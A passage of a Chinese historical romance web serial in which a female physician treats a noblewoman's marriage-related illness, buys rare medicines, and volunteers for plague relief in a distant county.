大人物的儿子自然也很尊贵,他姓徐,是徐峻茂的从兄,远房堂祖父家的嫡孙。按理说徐峻茂进京是要借住从伯父家,不巧亲姑母在京师安家立业,那自然是投奔更亲近的亲姑母了。 原本不是什么大事,徐府丞最多打发下人来看看,而今却派了最有出息的嫡子前来,自然是因远房侄子乃今年广江省解元,前途不可限量。 徐峻茂水涨船高,受到的待遇立时不一般—— 作者有话说:明天的更新改为晚上,凌晨的读者们不用等啦 第53章 卓府生病的三奶奶一直在庄子上养病, 姚妈妈和程芙坐进马车,向她介绍情况。 程芙从她话里品到些缘由,三奶奶的父亲刚擢升正二品, 婆家就有些不够看的, 倘若得知闺女久病不愈, 难免怨怪, 然而卓家从未懈怠请医问药之事,可一直不见好, 找谁说理去。 程芙:“敢问三奶奶的情况持续多久?” “一年。”姚妈妈说,“去年坐完月子开始犯病, 好一阵坏一阵, 今年突然严重,我们夫人观她了无生气,唯恐人撑不到年关, 那才是……欸……” 姚妈妈重重地叹了口气。 程芙又问了三奶奶的生活情况,大致了解了一点。 姚妈妈道:“我们三爷性情温和,对三奶奶向来体贴尊重,成亲至今都没对三奶奶大小声过。他又是家里年纪最小的,那三奶奶便是最小的儿媳,自然而然更受长辈们关注的。” 时间就在闲聊里一晃而过,程芙到了卓家的庄子, 地里的庄稼收割得干干净净, 道路两旁耸立着绿色的树,冷白的阳光从叶缝漏下,照得人睁不开眼。 三奶奶的屋子干净清爽,熏炉里燃着淡淡的香,冲淡了细微的汤药味。 她是个年轻又漂亮的妇人, 纵使久病消瘦,也不难看出曾经明艳的五官。 三奶奶对各种医女医婆见怪不怪,迟钝的目光落定程芙脸颊仍是怔了怔,如此仙人之姿…… 程芙上前见了礼,三奶奶邀她坐下说话。 程芙看了看周围的仆婢,三奶奶道:“你们都下去吧,好让程医女安静诊脉。” 姚妈妈等人应声,垂眸出了屋子。 问诊“望闻问切”不可少,可别的医者做完这些只会开方子,开出的方子也大同小异,药材也只有贵和不那么贵的区别,心思活络的则再说些好听的话,安慰鼓励她,三奶奶觉得不痛不痒的。 未料程医女跟别人不一样,诊完脉,突然道:“奶奶身子的状况确实如前面的医女所言,给您开的药也没有问题。但她们没看出您的症结,也或许看出来但没开解到点子上,致使您的心疾越来越严重。” 原来她有心疾,是呀,她病了好久。两行清泪从三奶奶苍白的脸颊滑落,无处可说,无人理解。 “她们都说我不对,连我婆母也觉得我过于较真。”三奶奶泣不成声。 “奶奶不妨把堵在心里的话说出来,不管您说什么我都理解,您病得这般严重定然是丈夫失职,您肯定有天大的委屈。” 三奶奶寂然一笑:“自从嫁入卓府,婆母待我客气,夫君待我大度,每个月还会额外贴补我体己,我们相敬如宾,鲜少吵架。” 程芙安静听着,乌亮的瞳仁专注,使得三奶奶觉得自己正在被她认真对待着。 “可我才将将怀有身孕,他就把通房抬了妾,我觉得自己的心脏快要裂开了,她们却只会讽刺我不懂事,妻子有孕,丈夫抬个妾服侍不是很自然的事。”三奶奶仰头深深吸了口气,“我找他理论,诉说委屈,他转头就把妾卖了,还说‘你不喜欢的人我不要便是,只你能不能懂点事,不要闹啊’,他觉得我在闹。” 程芙:“他共情不了您,根本体察不到您伤心的点。” 三奶奶点点头,继续述说自己婚姻的不幸,坐完月子的她身体特别虚,生产的亏损使得女子短时间内很难进入状态,她不仅无法配合丈夫的需求,甚至过去大半年还会无所适从。 “我真不是故意的。”三奶奶羞耻地闭上眼,夫妻房帏,就这般明晃晃地暴露人前。 程芙轻轻握住她的手,“我也是女子,嫁过人,什么都懂。人伦大事乃万物自然生长的一环,没甚么羞耻的。” 三奶奶泪眼朦胧,怔怔瞅了程芙一会,才磕磕绊绊述说起来。 因她总是克制不住在那种时候想起丈夫也是如此与其他女子欢-好,便心生厌恶,提不起兴致,有一回当着他的面呕了出来,他当场穿衣走人,晚上再也没有来过,白日倒是与她正常过日子。 因而在旁人眼中,他依然是体贴如常的丈夫,只有她自己……清楚那些冰冷的细微的差异。 她为这样的差异流泪,失张失智,别人就会惊讶地说:“不是吧,不至于吧,一点小事还没完了,没见过他对你无礼呀?” 他没打她,欢-好时不顾惜她不理解她的模样比打她还痛苦;他没有骂她,眉眼暗藏的不耐烦,冷眼旁观她的痛苦,还不如新婚燕尔时的捻酸喝骂。 男女之间情热才会有情绪波动,如果一方无波无澜,不见得真是好事。 程芙在脉案上飞速记了两笔,替她说着难平的委屈:“有时就是这样,您被一个人欺负,来两个看客不像他那样欺负您,但是一直拱火起哄,绵里藏针打压,长此以往,您很难不失衡,甚至怀疑自己。” “你怎么什么都懂啊,就是那种感觉。”三奶奶觉得病了这么久,第一次被人看见腐烂的浓疮,有人在为她清理浓疮。 “女科博大精深,医心和医身同样重要。”程芙柔声道,“您现在的情况是房帏不如意,他对您的关心又不足,诉苦无门,长期积压,使您陷入了自我否定和对他无法自抑的排斥中,身子骨日渐虚弱,稍有一点病症便脏腑不畅,严重时水米不进,丹毒发作,伴随高热。” 三奶奶缓缓点点头。有一回,她清楚地听见妯娌背后议论她“自作自受”。 全都是她自己作的。 婆母从不为难她,丈夫敬重体贴她,偏偏自己钻牛角尖,不是自作自受是什么? 她突然感觉有些女人比男人更恶心,那一瞬吐了出来。 程芙见状,忙从医箱翻出只青花瓷瓶,拇指大,撬开木塞,在她鼻端晃了晃。 辛辣沁凉的气味直冲三奶奶鼻腔,她顿时一个激灵,整个人清醒不少,那股几乎要喷薄而出的燃烧的郁愤顷刻间退散大半。 程芙:“无需难过,您没有作天作地,观您第一眼,我便觉得您是个温柔和善的好女子。但再好的人也会生气,觉得您作天作地的是怕将来没有好脾气的人给他们欺负了。” 好奇怪但是又觉得很有道理的安慰人的话。 三奶奶窒了窒,视线再次投向了程芙,眼眶还蓄着泪,可脸上渐渐有了血气。 程医女医身医心并行,给她开的方子多加了一味人参六君子汤,复又在婢女的配合下为她刺破丹毒放血,动作轻柔细致,眉眼间全无半分嫌恶。 甚至教她房帏之时如何保护自己,事后如何清洗。 让三奶奶紧张又自卑的情绪得到了极大的缓解。 “其实您这个情况在民间也有不少案例。” “民间女子也会生这种病吗?”三奶奶红着脸问。 “只要是女子,都有可能,因性格而异。” 程芙给她讲了隐去身份的一个脉案,有商妇因不满丈夫纳妾,大吵大闹半年,几次差点气绝身亡,那之后小腹冷痛,各种病症随之而至,两股生出丹毒。 贤良大度是男人和部分女人为女人定制的傀儡壳子,总有不服管教的背道而驰,她们被叫做泼妇,与丈夫大吵大闹。 然而女子的心终究更细腻,如若遇人不淑,一不小心便会患上心疾,严重的心疾便能侵入五脏六腑,各种病痛随之而至。 因此女科医者,精于医身的同时也要学会医心。 心里的浓疮被人清理干净,三奶奶的病症当场好了大半,只剩下血淋淋的伤口,需要她自己一点点愈合,一点点自洽。 未来的路,她慢慢下定了抽离的决心。 程芙相信家世和美貌并存的女人,怎么活都不会太难,以后的事便不是自己操心的范畴。 三奶奶喝完汤药又吃了一碗稀粥,拉着程芙低声倾诉,又不停地道谢。 卓府病了一年的三奶奶奇迹般地有了活人的气息。 回去的路,三奶奶的心腹樊嬷嬷亲自送程芙,把人送上车厢,转身从婢女手里接过诊金——一只檀木方匣,毕恭毕敬奉给程芙,道:“程医女仁心医术,博学多才,救我家奶奶于水火,老奴感激不尽,等奶奶身子痊愈,我们再登门致谢。区区薄礼,还望程医女笑纳。” 对方这样的年纪,程芙不敢托大,忙起身弯腰双手接过方匣,“嬷嬷谬赞,不敢当的。烦请嬷嬷替我谢谢三奶奶,过些日子我再登门请脉复核一遍。” 樊嬷嬷笑着应了声,又说了好几句话,才殷殷目送载着程芙的马车离去。 柳宅正在施工,杨氏请程芙且先下榻杨宅凑合一晚。 程芙道谢,又道:“那便叨扰杨姨了。” 杨氏赔笑道:“奶奶言重了,这里一草一木不都是您的,我就占个名儿……” 程芙没有应声,迈进屋里,小桃、冬芹、米嫂子和马嫂子一起过来迎接她。 杨氏知情识趣地关了房门离开。 确定没有外人,程芙才迫不及待打开方匣,旁边的小桃和冬芹同时捂住嘴巴,米嫂子和马嫂子揉揉眼,怀疑是看错了。 金灿灿的。 二十枚圆圆的小金饼整整齐齐躺在格子间,放在手心掂一掂,每枚约一两,二十枚便是二十两!! 如此朴实无华又真诚的诊金! 不愧是二品大员家的贵女,侍郎府上的奶奶。 “天菩萨嘞!”小桃颤声道,“您……您出一趟诊就挣了半栋宅院!” 那每天出一趟,一年下去岂不是要变成京师首富!也不对,一来没有这么多问诊的病患,二来更没有出手这么阔绰的。 主仆三人愣在当场,饶是一贯自持的程芙也小脸红扑扑的。 金锭银锭,稀世珠宝,甚至拳头大的宝石,比莲子米还大的东珠,她都见过把玩过,不稀奇,但从未如此刻般激昂,浑身血液咕咕冒泡,仿佛沸腾了。 因为这二十两是她凭本事挣到的,她是个有钱人。 从前再多金银珠宝也是别人赏的,刻着别人的烙印,只要挥挥手就能让她顷刻间一无所有。 两者相比,全无可比之处! 等姨母回家,见到这么多金饼子,不定要如何夸奖她的。 主仆三人将金饼登记造册仔细放入箱笼,好不欢喜。 程芙赏了众人各两钱银子,又额外给米嫂子一两银钱,“咱们许久未曾大吃大喝,明晚置办两桌好酒好菜,给姨母一个惊喜。” 有好吃的谁不开心,而且是两桌,意思是下人也有份,小桃高兴地蹦起来,米嫂子用围裙擦擦手,欠身道着谢,含笑接了银子。 程芙:“小桃。” “奶奶有何吩咐?” “你可知寿善药馆如何走?” “当然。”小桃点头如捣蒜,“现在就过去告诉太太赚到金子的好消息吗?” “那倒不是。”程芙道,“我想买几味药,颇为昂贵,普通药铺应是没有,有也略带瑕疵。” 位于前门大街附近的寿善药馆,乃京师数一数二的药铺,最不缺的便是珍稀药材,当然价格也令人望而却步。 从前程芙不敢想,而今么……她吩咐冬芹取来五枚金饼,“今时不同往日,余钱富足,我该置办些必须之物。” 保命之物。 力气小,身子骨又细嫩,便是练到死也练不出男人的肌肉和力量,但她是个医女,其实医毒不分家的,她不仅会调制见血封喉的毒物,也会萃取金镞科(明,同骨伤科)常备的麻沸散。 只不过从前身在王府,到她手里的东西哪一样不经过严格核查,不是针对她,而是任何服侍王爷左右之人。 后来有了自由却苦于钱袋子不宽裕。 现在么,自由和钱皆有。 奶奶需要药材,而她认得路,小桃义不容辞,去外头雇了一辆骡车,陪同程芙前往鹿儿街以东,紧邻前门大街的寿善药馆。 为了便于观察药材成色,程芙摘了帷帽,轻纱覆面,寿善药馆说是药馆实则就是一家有名医坐镇的药铺,铺面非常大,占了街面的五分之一。 小桃引程芙从南门而入,这一侧进去便是药铺,药铺又分成了两间,小一些的接待普通客人,大一些的接待商贩。 程芙自然进到小一些的屋子,其实也不小,三面墙矗立着高大的红木药柜,布满密密麻麻的小抽屉。 周围还陈列着一些用于展示的货物。 此时正值客流稀薄,仅剩程芙主仆闲逛,掌柜和伙计都在后院分药,仅留一名学徒看店。 那学徒不过十三四岁,看上去挺机灵,朝程芙作揖,“给奶奶问好,小的就在这里,有什么需要您尽管吩咐。” “请问这里可有曼陀罗、草-乌、当归、天南星以及五-石-散。” 小学徒愣了下。 草-乌乃剧毒之物,需经特殊的处理以减轻毒性再入药,而五-石-散更是严格管控,仅太医署的人登记后方能限量购买。 大部分都不是寻常人有资格触及的。 “敢问奶奶可有官府的文书?” 程芙点点头,小桃将太医署的敕牒递给小学徒。 小学徒阅后,又揖了一礼道:“原来是医女大人,恕小的眼拙,不大识字,需去请教东家,烦请医女稍坐片刻,我去去就来。” 哪里是不识字,是分不清真假,需请示掌柜,恰好今日少东家也在,自然先拿给少东家过目。 小学徒一溜烟儿跑个没影,隔壁的小学徒便站到墙根附近,以便客人吩咐。 临近巳正的阳光照不到屋里娇贵的药材,却把洞开的大门与窗子映照的明亮而新鲜,重新归于宁静的药铺,充满了药香和红木独有气味,干燥、鲜明。 程芙感到放松,好奇地盯着展架上一排排奇怪的琉璃盏,盏前立着木头牌,上书药名和功效,大多来自大食,闻所未闻。 但她的鼻子能闻到,忍不住抽了抽鼻管,贴得愈发近了。 一道身影挑帘走出,移过秋阳交织的光与影,靠近她站定,音色可亲而独特,微微的天生的沙哑,十分好听。 “不能再近了哦。”他说话的同时,手掌礼貌地挡在了程芙的脸与药材之间。 淡淡的柑橘类香气沁人心脾。 程芙扭头,仰起脸好奇地看向他—— 作者有话说:提前更了,新出场的男嘉宾早就出场了,大家都认识他,但肯定不知道他叫啥 第54章 她的视线从来人的脸上扫过, 忙后退一步,垂眸欠了欠身,“您是少东家?” 荀叙点了点头, 解释:“这是大食国独有的地蓝, 呼吸带出水汽有可能改变它的药性。” 程芙仰头发现柜子顶上贴着行不大不小的字:请勿近距离观看。 她对感兴趣的东西总是过于专注, 第一眼注意到了药, 旁的就不放在心里,竟忽略了这个算不得太显眼的提示。 可终归是自己失礼了。 “抱歉, 我没注意。”她说。 荀叙把太医署敕牒还给程芙,说:“程医女所求的药在女科不常用。” 程芙:“不是女科所用, 只是忽然对金镞科感兴趣。” “金镞科不收女医。” “你怎么知道?” “我在金镞科待过。” 程芙一愣, 总算肯抬眼正视他,“原来您也是太医署的医员。” 人家不只是个卖药的,还是她同僚。幸亏没有撒谎, 否则场面将变得极度尴尬。 “算是吧。”他回。 是就是,不是就不是,“算是”听起来怪怪的。程芙若有所思收回视线,微一欠身,“竟不知是前辈在此,失礼了。” 她对陌生的人缺乏一些好奇心,完全不似荀叙, 多少还是好奇程姑娘的, 专程出来看了看,细瘦,大眼睛,挽了个妇人的发髻,轻纱覆面, 略有些冷,应是好看的,只是跟想象的不一样,但是官话进步飞速,说的很是那么回事。 “不必多礼,以后可能还要照面。”荀叙不在意地摆摆手,吩咐伙计打包程芙所需的药材,剂量则由药铺说了算,给她多少算多少,反正就那么点。 小桃去付钱,被价格唬了一跳,不由迟疑了,回头看向程芙,“奶奶……” 程芙:“无妨。” “嗯。”小桃心不甘情不愿付了款,心道方才不是还称是同僚,既是太医署同僚就不知给个亲友价吗? 人长得这么好看,没想到如此小气。 满肚子腹诽离开药铺,她才敢对程芙吐露。 程芙笑道:“是同僚不假,可人家跟我们又不熟,那么贵的药材没听说有砍价的规矩。” 小桃无言以对。 不管承不承认,她潜意识里觉得任何男人见到奶奶都会很惊艳,都该巴结奉承的。 没想到对面亲切归亲切,竟然半分特别的待遇也不给。 程芙对小桃过于自信的认知一无所知。 如常折回双槐胡同,日落月升,深秋的最后一夜,冷风簌簌,家家户户换上了厚帘子厚被褥,屋里点着或晕黄或通明的烛火。 双槐胡同最西面三进院的宅子里,住着户部主事齐深一家,他妻族的亲侄子——今年广江省解元徐峻茂,正在窗前挑灯夜读。 徐峻茂累的时候会站起来走一走,望着东边的月牙儿发呆,好像是芙妹妹笑起来的眼睛啊。 每个男子都爱美人,他爱美人,只是第一眼见到的美人便是芙妹妹,此后一生都改不了了。 也很后悔从前没经过事,安排不够仔细,致使芙妹妹流落在外,受尽苦楚。他应当再周密些,比如偷户籍时把阿爹珍爱的古玩也偷了,不就能换到些钱?有了钱芙妹妹不就会好过许多…… 他也想起最后一次站在毅王府门前,一位很慈祥的大娘悄悄靠近他,问:“你也在打听阿芙?” 他立刻把原委告诉了她。 大娘听完,迟疑了片刻,小声道:“阿芙的姨母在京师,是太医署注册备召的医女,你去京师碰碰运气吧。” 他本来就是要去京师的,闻听此言,泪盈于睫。 同一弯月牙下,最东面的程芙也在挑灯看书,偶尔抬首与做针线的姨母聊天,相视一笑。 他与她其实很近了。 二更已过,太医署的议会堂还亮着灯,室内灯树煌煌,几位当值的医官仍在商讨。 “皂河县特使送来了统计,上半年情况开始好转,七成百姓痊愈,也有少部分时好时坏,但传染性明显减弱,二次感染的患者服用汤大人的清腑散一般二十日左右可痊愈。” 此七成,是在死亡了四成百姓后,取活人的基数算得的七成,众人心知肚明。 “可是清腑散的余病委实严重,便是好了也很难从事重体力活,不利于田间劳作。” “那也总比丢了性命强。保住小命的同时遏制疫情已然算天佑我大昭。” “卫大人言之有理,林某绝非质疑汤御医的医术,只是觉得农人失去赖以为生的力气,后续的生活难如登天。咱们坐下来商讨,不就是为他们讨论一个活路。” 众人略顿片刻。 有人出来打圆场:“各位大人说的都有道理,大家齐聚在此就是为了想一想还有没有更好的法子。” 遏制疫情,汤御医固然功不可没,可是皂河县县民所要付出的代价也太大了些,许多人因此丧失赖以为生的能力,更有孕妇饮完汤药一尸两命,有的生下了死胎。 十分惨烈。 时下民间并无有效的避孕手段,而夫妻那点事也是家家户户唯一的乐趣,因而妇人有孕哪怕在疫情最严重时仍屡见不鲜。 殊不知一旦有孕,女人死亡的可能性将是普通人的数倍,大多性命不保。 皂河县知县为此花费大量赈灾银钱挨家挨户发避子汤,未料县民不仅泼了药,还殴打发药的义工,甚至指着鼻子诅咒人家生儿子没根。 他们好不容易娶个媳妇,不能生儿子还有什么用? 发避子汤不是要人家断子绝孙么? 原来早有人趁机造谣煽动情绪,声称避子汤能导致妇人终身无法有孕。 说的也没错,但生事者着重描述了引人愤慨的“无法有孕”,却熟练地模糊无法有孕需达到一定剂量和服用时间,也模糊此举短期内可以挽救无数妇人的性命。 反正你就说有没有可能让人断子绝孙?让人断子绝孙是不是缺德?生事者没说错吧? 谁能说不是呢? 皂河县县民果然群情愤慨,反抗情绪达到了顶端。 当民众的情绪受到严重的煽动,认定了自己要被人断子绝孙,那不得拼命啊! 更有极端的视知县为十恶不赦的狗官,只为政绩,枉顾人命,险些爆发了民乱。 愚民啊愚民,愚蠢至极!知县考虑到自身安危,便取消了此番劳民伤财的惠民政策。 生事者在背后微笑,享受操纵愚民的畅然快意,不久开始兜售菩萨丸,此丸乃神医梦中受菩萨点化所造,未有身孕的妇人每日服一粒,可逢凶化吉。 于是大家纷纷买菩萨丸,生事者赚个盆满钵满。 然而菩萨丸到底比不上知县发的正经避子汤,吃上一段时间是真的会断子绝孙的。 不过无人在意。 反正自从服用菩萨丸,当地妇人丧命的可能性明显降低。 知县又不傻,没过多久便琢磨明白,把卖菩萨丸的好一顿毒打,谁知夜深人静时,知县的书房多了一箱雪花银,自那之后,知县便不再过问此事。 既不影响他政绩还有钱赚,算了算了。 言归正传,皂河县的情况到底不容乐观,主要这里盛产皇帝最喜欢的皂河糯米以及甘甜不同于别处的皂河柑橘,全都是皇帝的心头好,他老人家已经足有一年未能食用。 再耽误下去,影响了皇帝的心情。 大家绞尽脑汁,热烈讨论到四更天。 最终院使决定增派一名擅于大方脉和疮疡科的御医,一名吏目,一名精于女科的医员,共同协助当地的杏林和官府赈疫平瘟。 其实这种事原本不需要女人过去添乱的,但皂河适龄生育的女人伤亡严重,再不想法子挽救,保不齐将来要灭县的。 不管他们多么不在意女人,但上位者心里比谁都清楚女人的重要性。当人口凋敝,唯有足够的女人才有无限希望和未来。 在极端情况下,比如战争和天灾导致人口锐减,女人将是最珍贵的资源,她们活着,然后只需几个青壮年男人,不久就会诞生无数新生命,茁壮成长。反之,当地人口离灭绝也不远了。 因为女人生育是有风险的,尤其是在极端环境下,一旦死亡,就什么都没了。 此时的皂河县即将面临这样的危机,没有人再敢装糊涂。 但一名女医员很难受到足够的重视,必须有御医与吏目坐镇。 当然,院使可以直接派遣女科御医或吏目过去,然而女医官何其稀有,一名成才的女医官不知要耗费杏林世家多少心血栽培,那都是太后、皇后等等贵人的御用之才,别说深入疫区了,便是调离京师都是大逆不道。 谁敢多嘴。 “那就这么定了。”院使拍桌而起,“宋典簿。” “下官在。” “明日尽快拟写一份文书呈上来,本官过目后即刻遣人前往皂河县。” “是。” 众医官纷纷起身,相互拱手,目送院使踏出门槛,才依序离开了议事堂。 十月初二傍晚,程芙和柳余琴搬回自己家,一进门傻了眼,院子里铺着整齐的水磨砖,墙角的架子上摆满时令鲜花,开得如火如荼。 娘俩推开正房的门,好家伙,五间大小屋子全是光可鉴人的青砖,用鞋底擦擦,还是防滑的,干净得仿佛连呼吸都轻盈不少,再无灰尘的厚重感。 程芙迈进自己小小的寝卧,一水儿崭新的家具,芽绿色软烟罗的帐幔后面是月洞门的黄花梨架子床,挂着一顶如意灵芝纹的床帐,那细密无暇的绣纹,应是出自极昂贵的绣娘之手。 就连被褥也被换成了最柔软细滑又温暖的锦被丝绵,熏着熟悉的“清英”淡香…… 小桃的眼珠子几乎要瞪出来,张大了嘴巴,欲言又止,全都是新的欸,太太房间也都换了新家具,不过没有奶奶这里的漂亮。 那精致的苏绣,让她手足无措,都不知道该怎么插手了。 这哪里是修缮屋子,分明是改头换面。 程芙立于床沿片刻,默默坐了下去,久久无言。 …… 时年十月初三,立冬,米嫂子天不亮起身做朝食,同时准备饺子食材,京师的人立冬必须吃饺子。 未料朝食才将将用了一半,就有公署的特使传信:“今有要事,奉院使之命召各位女医员回太医署。” 果然。 程芙蓦地抬眸,视线与姨母一碰,姨母的眼神竟闪躲了下,而后垂脸喝粥,道:“快吃,莫要耽误了时辰。” 程芙应声,低头扒饭。 二人匆匆用过朝食,漱口净面后乘车赶往皇城。 太医署的医女基本以女科为主,擅长略有不同,但问题不大。 十二名女医员齐聚议事堂,有的满脸茫然,有的一脸沉重,心思各异。 程芙与姨母坐在角落,各怀心事。 柳余琴自从进了太医署,话语越来越少,眉心微蹙,程芙觑了她好几眼,也不见姨母搭理自己,不由落寞,微微抿一抿唇角。 众人候在此处等待了将近三炷香,期间光茶就喝了五六杯,再去一趟净房,才算等来了院使大人,身后还跟着院判和典簿。 院使乃太医署最高长官,正五品,俸禄却比普通正四品的还要高,地位不容小觑。 只见他年近五旬,留着两撇小胡子,个头儿略矮,胖胖的,肚子圆滚滚,显得两只脚儿尖尖,走起路来很滑稽,不过没有人敢乱笑,都小心翼翼觑着他,屏气凝神。 众人纷纷起身,欠身施礼,先朝院使问安,而后是院判和典簿。 院使面无表情落于上座,示意典簿宣读太医署公牍。 短短数百字的公牍,直到典簿读完片刻,四下仍是鸦雀无声,脸色一个比一个难看。 虽说院使完全可以随便指一个人前往疫区,但医女中也有些大有来头的,得罪人总归麻烦事,再一个,强迫人冒着生命危险出公差传出去也不好听,他想看看有没有大公无私请命的。 显然大公无私者少,谁也不知皂河县的具体情况,是否真如上官所言已经得到了有效控制。 总之大部分人都上有老下有小,谁不惜命? 院使很失望,眯了眯眼。 突然,一道细细柔柔的少女嗓音传来。 “大人,民女愿意一试。”程芙鼓足了勇气。 她知道自己看起来无知无畏,甚至有点傻气,可是似她这样的身份,想要出人头地,除了孤勇奋力一搏,就只能乖乖成为某个男人的枕边人。 她不想自己一败涂地,更不想看到崔令瞻得逞的嘴脸。 此行怀有私心,但此行的救人之人亦是诚恳的。 她觉得自己有能力救人。 “大人,民妇也愿意一试。”柳余琴忽然起身,看也不看震惊的程芙一眼,“名额既然仅有一名,民妇觉得自己比程医女更适合。” “姨母。”程芙虽早有所料,仍是止不住讶异。 院使打量柳余琴一眼,想起了她是考核的魁首,能力确实比程医女强,主要程医女的容貌过于出挑,如此颜色到哪里都是麻烦,柳医女则不同,虽然风韵犹存,也是个美人胚子,可到底上了年纪,可免去一大半的麻烦。 程芙用力攥紧姨母的手,大声道:“大人,民女自知医术不如姨……柳医女精湛,可民女身体还算灵活结识,此去千难万险,柳医女的身体定然吃不消。” 院使一惊,命院判前去试了试柳余琴的脉象,果然有亏损之症,此般症状如若温养着倒也无大碍,但吃苦怕是吃不了一点的,弄不好自己比疫区的人先倒下。 “你,你真是反了!”柳余琴又气又急狠狠瞪向程芙,程芙垂着脸,不言不语。 院使大人总算看明白了,两个抢着去“送死”的是亲姨甥。 他说:“你们娘俩别争了,综合来看还是程医女去更合适,柳医女还是先保全自身更重要。” 总之有人主动请命,他也落得轻省,当场拍桌定下。 其余人长长舒了口气,劫后余生,只待散会,各奔东西。 院使留下程芙,亲自叮嘱各种注意事项。 譬如,尽量不要抛头露面,实在不行切记戴好面巾,最后安排了两名习过拳脚功夫的女役服侍她左右。 典簿将盖有院使特殊印章的文书以及令牌交付程芙,身在疫区的她有一定的权力要求当地府衙配合调度。 院使:“不过你终究是女子,难免遇到阳奉阴违的宵小,所以遇到事情先莫慌张,多问问随行的御医、吏目,拿不准的便请他们出面。他们皆有公务在身,自会与你拧成一股绳。” “多谢大人提点,民女谨记于心。”程芙再三欠身道谢。 院使满意地点了点头。 甫一踏进家门,程芙就挨了姨母一巴掌。唬得小桃和冬芹一个激灵。 “反了反了,你竟然跟我抢,连我的话都不听。”柳余琴气得面如金纸,转而眼眶就红了,泪如雨下。 程芙忙上前抱住她,紧紧的,默默垂泪。 “你这个不知天高地厚的丫头,你真是气死我了。”柳余琴哀声哭泣,此刻未知的恐惧让她无比后悔,后悔盲目支持阿芙,没有尽到长辈的责任,劝劝她,劝她认了毅王。 程芙:“姨母,对不起……” “要不就认了吧,傻孩子,毅王对你多好啊,他要是心里没有你岂会如此牵挂你,你有一点动静,他什么都不顾了便回城来看你。地位和钱在哪儿,男人的心就在哪里的,虽然他开始没有做好,欺负了你,可他现在把最好的都捧给你了……” 阿芙闭着眼,脸颊惨白。 柳余琴凝噎,不再言语,也抱着她,轻轻拍着她后背,“想去就去吧,救人总归是好事。姨母相信你的能力,等你回来加官进爵。” “姨母。” 冬芹和小桃打来温水,服侍她们净面,不停劝着二人。 好说歹说把两人都劝冷静,方才轻手轻脚离开,留下说体己话的空间。 程芙:“姨母莫担心,我现在长大了,还有钱,已经可以保护自己,前几日我便做了万全准备。” 她从随身携带的小荷包里掏出两只小瓷瓶儿,瓶身裹着厚厚的一层羊皮套子,套子里缝了棉花,把脆弱的小瓶子保护得密不透风。 “蓝色木头塞子是麻沸散,黑色的则是见血封喉。”她无比宝贝地摊给姨母看,“特别贵呢,我心疼了好几晚。谁要欺负我,我便给他选一瓶。” 柳余琴用力逼退泪意,说:“好,很好。危急关头,自个儿小命最重要,莫要想太多。” 活着才有力气分辨黑白。 要是死了,管你黑的白的只能凭他人嘴说。 临睡前,柳余琴将一把珍藏了许久的小匕首塞给程芙。 匕首的柄纤细小巧,非常适合女孩手握,尤其程芙的手,而且个头也小,藏在衣服里不显眼。 “年轻时黑市所购用来防身,原不敢胡乱显摆,而今你要远行便收着吧。便是被人发现了也不会有人真正追究的。”柳余琴轻轻道。 男子远行都要带个防身的物什,更何况女子。以程芙的情况带把小匕首,上面根本不会管,只要她别太张扬。 程芙:“嗯,我收着。明日路上我再朝上官报备一声。” “真是个老实孩子。”柳余琴哭笑不得,随她去了。 十月初六,黄道吉日,宜远行。 程芙吃了一大碗水饺,用薄荷茶漱口,净面后抹了玫瑰汁子做的香膏,身着公服,体体面面地登上朝廷的马车,在姨母和柳家仆婢的送行下驶离双槐胡同。 杨氏傻了眼,忙忙追出来问明情况,她身后的婢女立即回屋用飞鸽传信。 柳余琴存了私心,且目的达到。 故意弄出大动静,故意让杨氏知道了一切,这样的话……即便毅王没办法将人拦下,定然也是有法子保护阿芙一二,不叫她在千里之外吃亏受累。 柳余琴偷偷抹了把眼泪。 西面的徐氏听见动静,冒出头看热闹。 徐峻茂则在一进院举石锁打拳,打完拳还要接着念书,忙得脚不沾地,根本没有空暇凑热闹,甚至连文人的雅集都无心参加。 徐氏很快也回了家,盯着小厨房为徐峻茂熬补身子的鸡汤。 第55章 马车一路疾驰, 傍晚出城,喧闹陡然消失,宛如人的魂儿被抽离了躯壳, 陷入沉睡。 程芙这才推开窗子, 好奇张望外面的景色, 只见官道上一排排绿色的树, 飞一般往后退,路旁散落着一颗颗白色的小石子, 在夕阳下闪闪烁烁,还有一条比小石子更美丽的小溪, 蜿蜒曲流。 清澈水面折射着橙红色的夕阳, 映入颠簸马车里程芙的眸底,变成了风吹拂的金箔,温柔摇曳。 真美呀, 数月前进京的她紧张疲惫,还有对未来的茫然,完全没有留意到它们。 随侍程芙的两姐妹熊秀与熊禾也看呆了,真美呀。 不过让她们看呆的景色是程芙。 普通人其实没什么机会见识顶级美色,因为顶级美色稀有,且大部分被权贵圈入囊中,便是哪里有大美人, 多半也只能通过口口相传想象。 姐妹二人突然近距离接触到程芙, 多少有些失态。 被女孩子打量,且对方完全没有恶意,程芙一点儿也不介意的,她抿唇笑了笑。 熊秀与熊禾的脸颊就红了。 程芙主动攀谈:“与我们同行的荀御医可是京师本地人?” “是的,医女。”熊秀热络回道, “按说荀御医不该亲自去皂河县,不过以他的性格,倒也不足为奇。” 程芙心底的猜测隐隐要变成了真,笑靥益发明亮,车厢仿佛都跟着她亮起来,“你们可知荀御医年方几何?” “去年才及冠。” 年纪也对上了! 果真是以书信与她切磋岐黄之术的荀御医。 万没想到两人有朝一日共同外出办差,此时此刻,处于两辆不同的马车,到了驿站便能照面! 他也一定看过随行的名单,可知是她? 那为何大半天过去也不见打声招呼? 程芙的心登时沉入了谷底。 荀御医脱离世俗规则之外,跟谁都能打成一片,她打心底里欢喜,其亲切完全不同于凌云那种藏着阴鸷的热情。 在燕阳,程芙和付大娘都把他当成了朋友,而他也视她们为杏林挚友,还互赠节礼…… 那为何明明知道她的存在,连问候一声也没有?哪怕是客套地恭喜她考进太医署。 一丝酸楚不禁酝酿心头,下一瞬程芙想起自己的不辞而别,那股委屈立刻缩了回去,愧疚取而代之。 付大娘和荀御医一定很失望吧?觉得我冷心冷肺。程芙的眉眼耷拉下去。 旁边的熊秀与熊禾只以为程医女对未曾照过面的上官好奇,毕竟以后还要天天共事,两眼一抹黑容易误事。 而她们在太医署充当杂役三四年,谈及各位医官的性格背景如数家珍,便你一言我一语,把荀御医和范吏目的底细,抖落个干干净净。 程芙目瞪口呆。 她交朋友甚少关注家世,加上从前和荀御医的交流仅限于医道,彼此又很有边界感,致使她对荀御医本人的了解仅限于“非常年轻,出身世家”八个大字。 哪里想得到他竟是靖阳侯夫人、大昭第一女御医、皇后的手帕交——谈以辞的嫡亲外孙。 而他的祖父更出人意料,乃当朝内阁首辅荀正清。 程芙:“……” 